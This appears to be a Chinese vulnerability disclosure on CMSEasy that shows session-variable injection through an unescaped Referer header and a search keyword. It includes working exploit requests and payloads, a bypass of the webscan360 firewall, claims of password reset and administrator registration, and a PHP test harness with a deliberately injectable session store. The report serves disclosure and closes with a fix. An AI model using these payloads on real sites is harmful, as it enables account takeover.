### 简要描述: cmseasy sql注射漏洞 ### 详细说明: 先看 manage_act.php 174行 ``` if(!session::get('from')) session::set('from',front::$from); ``` 如果 session中没有 from这个的话就设置front类中$from这个为值,我们追追他的$from怎么产生的。 在 front_class.php 312-313 ``` if (isset($_SERVER['HTTP_REFERER'])) self::$from=$_SERVER['HTTP_REFERER']; ``` 看了下,好像没有对 $_SERVER['HTTP_REFERER']做转义处理,系统默认GPC也是不对_SERVER处理的,导致我又可以注射了。 之前发了个已经说到了他session保存在数据库中,有出注入基本就可以控制它整个系统了..( [WooYun: cmseasy 的一个高危漏洞(设计缺陷)](http://www.wooyun.org/bugs/wooyun-2014-076542) ) ---------- 不多说了.上exp,先注册一个号 然后 ``` /cmseasy/index.php?case=manage&act=edit&manage=archive&id=1 来源 http://127.0.0.1/',DATA=0x6F70656E69647C733A313A2232223B,client_ip=' 改为这个 ``` 正当我觉得很顺利的时候,发现webscan360拦截了我, 新版本中 白名单已经失效了..白名单是二维数组,原先是用foreach遍历2次,新版本却只遍历一次,所以永远也不能找到对应的白名单。 还有个蛋疼的地方是 post拦截规则加上了 |' 出现单引号就拦截 由于webscan360对referre用的就是post拦截规则,(这样直接拦截单引号,对用户体验也不够好,比如搜索单引号就拦截了,) 单引号不能使用,想了想 ``` from|s:4:"2222"; ``` 结构是这样的,哪我 把2222 换成 ";openid|s:1:"2 能不能闭合呢. 结果处理成这样了 ``` (不知道它如何...
### 简要描述: cmseasy sql注射漏洞 ### 详细说明: 先看 manage_act.php 174行 ``` if(!session::get('from')) session::set('from',front::$from); ``` 如果 session中没有 from这个的话就设置front类中$from这个为值,我们追追他的$from怎么产生的。 在 front_class.php 312-313 ``` if (isset($_SERVER['HTTP_REFERER'])) self::$from=$_SERVER['HTTP_REFERER']; ``` 看了下,好像没有对 $_SERVER['HTTP_REFERER']做转义处理,系统默认GPC也是不对_SERVER处理的,导致我又可以注射了。 之前发了个已经说到了他session保存在数据库中,有出注入基本就可以控制它整个系统了..( [WooYun: cmseasy 的一个高危漏洞(设计缺陷)](http://www.wooyun.org/bugs/wooyun-2014-076542) ) ---------- 不多说了.上exp,先注册一个号 然后 ``` /cmseasy/index.php?case=manage&act=edit&manage=archive&id=1 来源 http://127.0.0.1/',DATA=0x6F70656E69647C733A313A2232223B,client_ip=' 改为这个 ``` 正当我觉得很顺利的时候,发现webscan360拦截了我, 新版本中 白名单已经失效了..白名单是二维数组,原先是用foreach遍历2次,新版本却只遍历一次,所以永远也不能找到对应的白名单。 还有个蛋疼的地方是 post拦截规则加上了 |' 出现单引号就拦截 由于webscan360对referre用的就是post拦截规则,(这样直接拦截单引号,对用户体验也不够好,比如搜索单引号就拦截了,) 单引号不能使用,想了想 ``` from|s:4:"2222"; ``` 结构是这样的,哪我 把2222 换成 ";openid|s:1:"2 能不能闭合呢. 结果处理成这样了 ``` (不知道它如何 对session的转换代码,那自己只能fuzz测试了) 提交";openid|s:1:"2 from|s:15:"";openid|s:1:"2"; ``` [<img src="https://images.seebug.org/upload/201410/29150026a1c882848f7305adf26a1f300de18c31.jpg" alt="_sql.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/29150026a1c882848f7305adf26a1f300de18c31.jpg) 打印了 SESSION 发现闭合失败,15个字符包含其中,那我使用 转义符 "\" 把双引号转义掉,他这个字符就会少一个 提交 ``` 提交 :\";openid|s:1:"2 from|s:16:"";openid|s:1:"2"; s 16 但他只有15 转换后 变成了 from|N; 果然出错了,继续测试 ``` ``` 提交 :\";\openid|s:1:\"2 数据库 : from|s:18:"";openid|s:1:"2"; 转换后的数据库中 : from|N;18:"";openid|s:1:"2"; 打印了代码,看来有戏 ["18:"";openid"]=> string(1) "2" ``` 我们继续闭合,我们需要让18:""; 这部分自成一个数据就好了。 经过我一番测试后 终于让他解析成功。 ``` 提交: |N;\openid|s:1:\"2\" 数据库 :from|s:20:"|N;openid|s:1:"2""; 转换后的数据库中 :from|N;20:"|N;openid|s:1:"2"; 打印的代码,解析成功了。 ["20:""]=> NULL ["openid"]=> string(1) "2" ``` 分析补充: 标题:php某函数使用不当导致的漏洞 Cmseasy 使用了session_set_save_handler了,其作用是 把session存到数据库中,而代替 文件 而在我研究中 发现,使用session_set_save_handler 不当就很会出现问题,而任意操纵session,很可怕! session_set_save_handler php官网的介绍 write(string $sessionId, string $data) 在会话保存数据时会调用 write 回调函数。 此回调函数接收当前会话 ID 以及 $_SESSION 中数据序列化之后的字符串作为参数。 序列化会话数据的过程由 PHP 根据 session.serialize_handler 设定值来完成。 序列化后的数据将和会话 ID 关联在一起进行保存。 当调用 read 回调函数获取数据时,所返回的数据必须要和 传入 write 回调函数的数据完全保持一致。 PHP 会在脚本执行完毕或调用 session_write_close() 函数之后调用此回调函数。 注意,在调用完此回调函数之后,PHP 内部会调用 close 回调函数。 //写 将 $_SESSION 中数据序列化 存入数据库中. read(string $sessionId) 如果会话中有数据,read 回调函数必须返回将会话数据编码(序列化)后的字符串。 如果会话中没有数据,read 回调函数返回空字符串。 在自动开始会话或者通过调用 session_start() 函数手动开始会话之后,PHP 内部调用 read 回调函数来获取会话数据。 在调用 read 之前,PHP 会调用 open 回调函数。 read 回调返回的序列化之后的字符串格式必须与 write 回调函数保存数据时的格式完全一致。 PHP 会自动反序列化返回的字符串并填充 $_SESSION 超级全局变量。 虽然数据看起来和 serialize() 函数很相似, 但是需要提醒的是,它们是不同的。 请参考: session.serialize_handler。 // 反序列化数据库中的 session 然后返回。 Cmseasy中是这样的 : __construct 构造函数 session_start(); $this->refresh(session_id()); Refresh -> gc //目的就是看时间差来判断 session过期了没有,如果过期了就删除掉这条session数据 读取的时候 会先从数据库中读取出来 然后 return $result ['data']; 然后 反序列化( session_decode() ) $result ['data'];数据并填充 $_SESSION 超级全局变量, 之后在调用 write 用把 $_SESSION数据序列化( SESSION_ENCODE()) ,的数据写入数据库,并更新时间“update_time”(表示自己还在活动中)。 使用出错就出错在 write 没有把数据进行转义处理,而导致的解析出错。 我们来看 (我先自己在他的框架内做的测试 $_SESSION[‘TEST’] = $_POST[‘a’] //我自己测试方便去掉了 实体化。 ) 我们提交 一个 “ \ ”他所对应的sql中就是TEST|s:2:"\\"; 插入数据库中 就会变成TEST|s:2:"\"; 因为 \是转义符啊。而它php自己处理的session序列化值却不认这个符号 把他当作普通字符串来序列化。 显然 按照它的流程来的话,读取了这个值就会出现无法反序列化的情况。 数据会变成 TEST|N; 空值,这个一个bug 导致了问题的出现。 现在我们来尝试闭合它,来创建其他的值。 提交 |N;\ 为什么提交这个?因为 |N;来满足他后面的闭合 用 转义符让他的结构出错。 TEST|s:5:"|N;\"; -> null 我们自己加一个值呢?加个 ooo 值吧 ``` 提交的:|N;ooo|s:2:"aa"\ 数据库中 :TEST|s:20:"|N;ooo|s:2:"aa";\"; 已经解析写入数据库中 :TEST|s:20:"|N;ooo|s:2:"aa";\"; ["TEST"]=> NULL ["20:""]=> NULL ["ooo"]=> string(2) "aa" ``` 居然成功解析掉了, 在 archive_act.php中。有一段讲搜索记录存入session中的代码。 256-258 ``` if (front::post('keyword')) { $this->view->keyword = trim(front::post('keyword')); session::set('keyword', trim(front::post('keyword'))); //存入。 ``` 我知道cmseasy全局都实体化了。中间测试fuzz费劲,,最后成功了,但是只能使用 int类型的, ``` 提交的:N|openid|i:1;"1"\ , 数据库:keyword|s:40:"N|openid|i:1;|xx|s:1:\\\"1\\\""; 已经解析写入数据库中 :keyword|N;30:"N|N;openid|i:1; ["keyword"]=> NULL ["30:"N"]=> NULL ["openid"]=> int(1) ["username"]=> string(10) "test_Noxxx" ``` 还有个地方提下, manage_act.php 174行 ``` if(!session::get('from')) session::set('from',front::$from); ``` 如果 session中没有 from这个的话就设置front类中$from这个为值,我们追追他的$from怎么产生的。 在 front_class.php 312-313 ``` if (isset($_SERVER['HTTP_REFERER'])) self::$from=$_SERVER['HTTP_REFERER']; ``` 看了下,好像没有对 $_SERVER['HTTP_REFERER']做转义处理,系统默认GPC也是不对_SERVER处理的。 (新版本中 白名单已经失效了..白名单是二维数组,原先是用foreach遍历2次,新版本却只遍历一次,所以永远也不能找到对应的白名单。 还有个蛋疼的地方是 post拦截规则加上了 |' 出现单引号就拦截 由于webscan360对referre用的就是post拦截规则,(这样直接拦截单引号,对用户体验也不够好,比如搜索单引号就拦截了,)) 这里的和 上面做了转义处理没做实体化处理的同理 Referer: |N;openid|s:1:\"2\"\ 这样即可 这个有好几个利用 比如 user_act.php 中的 edit_action函数内的userid 任意修改密码,再比如 respond_action 函数中的openid 注册管理员。 最后附上几个 测试的代码 ``` <?php /* CREATE TABLE `ws_sessions` ( `session_id` varchar(255) binary NOT NULL default '', `session_expires` int(10) unsigned NOT NULL default '0', `session_data` text, PRIMARY KEY (`session_id`) ) TYPE=MyISAM; */ class session { // session-lifetime var $lifeTime; // mysql-handle var $dbHandle; function open($savePath, $sessName) { // get session-lifetime $this->lifeTime = get_cfg_var("session.gc_maxlifetime"); // open database-connection $dbHandle = @mysql_connect("localhost","name","pwd"); $dbSel = @mysql_select_db("db",$dbHandle); // return success if(!$dbHandle || !$dbSel) return false; $this->dbHandle = $dbHandle; return true; } function close() { $this->gc(ini_get('session.gc_maxlifetime')); // close database-connection return @mysql_close($this->dbHandle); } function read($sessID) { // fetch session-data $res = mysql_query("SELECT session_data AS d FROM ws_sessions WHERE session_id = '$sessID' AND session_expires > ".time(),$this->dbHandle); // return data or an empty string at failure if($row = mysql_fetch_assoc($res)) return $row['d']; return ""; } function write($sessID,$sessData) { // new session-expire-time $newExp = time() + $this->lifeTime; // is a session with this id in the database? $res = mysql_query("SELECT * FROM ws_sessions WHERE session_id = '$sessID'",$this->dbHandle); // //$sessData = addslashes($sessData); if(mysql_num_rows($res)) { // ...update session-data mysql_query("UPDATE ws_sessions SET session_expires = '$newExp', session_data = '$sessData' WHERE session_id = '$sessID'",$this->dbHandle); // if something happened, return true if(mysql_affected_rows($this->dbHandle)) return true; } // if no session-data was found, else { // create a new row mysql_query("INSERT INTO ws_sessions ( session_id, session_expires, session_data) VALUES( '$sessID', '$newExp', '$sessData')",$this->dbHandle); // if row was created, return true if(mysql_affected_rows($this->dbHandle)) return true; } // an unknown error occured return false; } function destroy($sessID) { // delete session-data mysql_query("DELETE FROM ws_sessions WHERE session_id = '$sessID'",$this->dbHandle); // if session was deleted, return true, if(mysql_affected_rows($this->dbHandle)) return true; // ...else return false return false; } function gc($sessMaxLifeTime) { // delete old sessions mysql_query("DELETE FROM ws_sessions WHERE session_expires < ".time(),$this->dbHandle); // return affected rows return mysql_affected_rows($this->dbHandle); } } $session = new session(); session_set_save_handler(array(&$session,"open"), array(&$session,"close"), array(&$session,"read"), array(&$session,"write"), array(&$session,"destroy"), array(&$session,"gc")); session_start(); if (!empty($_GET['v'])){ var_dump($_SESSION);exit; } $_POST = daddslashes($_POST); $_SESSION['test']=$_POST['s']; function daddslashes($string, $force = 1) { if (is_array($string)) { $keys = array_keys($string); foreach ($keys as $key) { $val = $string[$key]; unset($string[$key]); $string[addslashes($key)] = daddslashes($val, $force); } } else { $string = (addslashes(trim($string))); } return $string; } ?> ``` ``` session_start(); var_dump(session_decode('test|s:20:"|N;ooo|s:2:"aa";\";')); ``` 下了分php的源码但是不怎么明白..怎么执行的。最后都调用来的 php_var_unserialize ,。。 最后说一下 这个也算是php的一个小bug把。我查看php官网上session_set_save_handler 函数 说明 好像并没有看见说明安全性的问题...广大朋友要注意这一点了。。 漏洞证明: 见详细说明 解决方案 : write 中转义data ### 漏洞证明: 给个exp: 登录状态 /cmseasy/index.php?case=manage&act=edit&manage=archive&id=1 Referer: |N;\openid|s:1:\"2\" [<img src="https://images.seebug.org/upload/201410/29151701dce0cfd070ddb2669917587f3bf66a67.jpg" alt="11_.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/29151701dce0cfd070ddb2669917587f3bf66a67.jpg) [<img src="https://images.seebug.org/upload/201410/291518143ebebd3480808fce5a3214dbe8b8f0b6.jpg" alt="22_.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/291518143ebebd3480808fce5a3214dbe8b8f0b6.jpg) 利用方法很多,用到session地方都可以伪造,参考 [WooYun: cmseasy 的一个高危漏洞(设计缺陷)](http://www.wooyun.org/bugs/wooyun-2014-076542) ,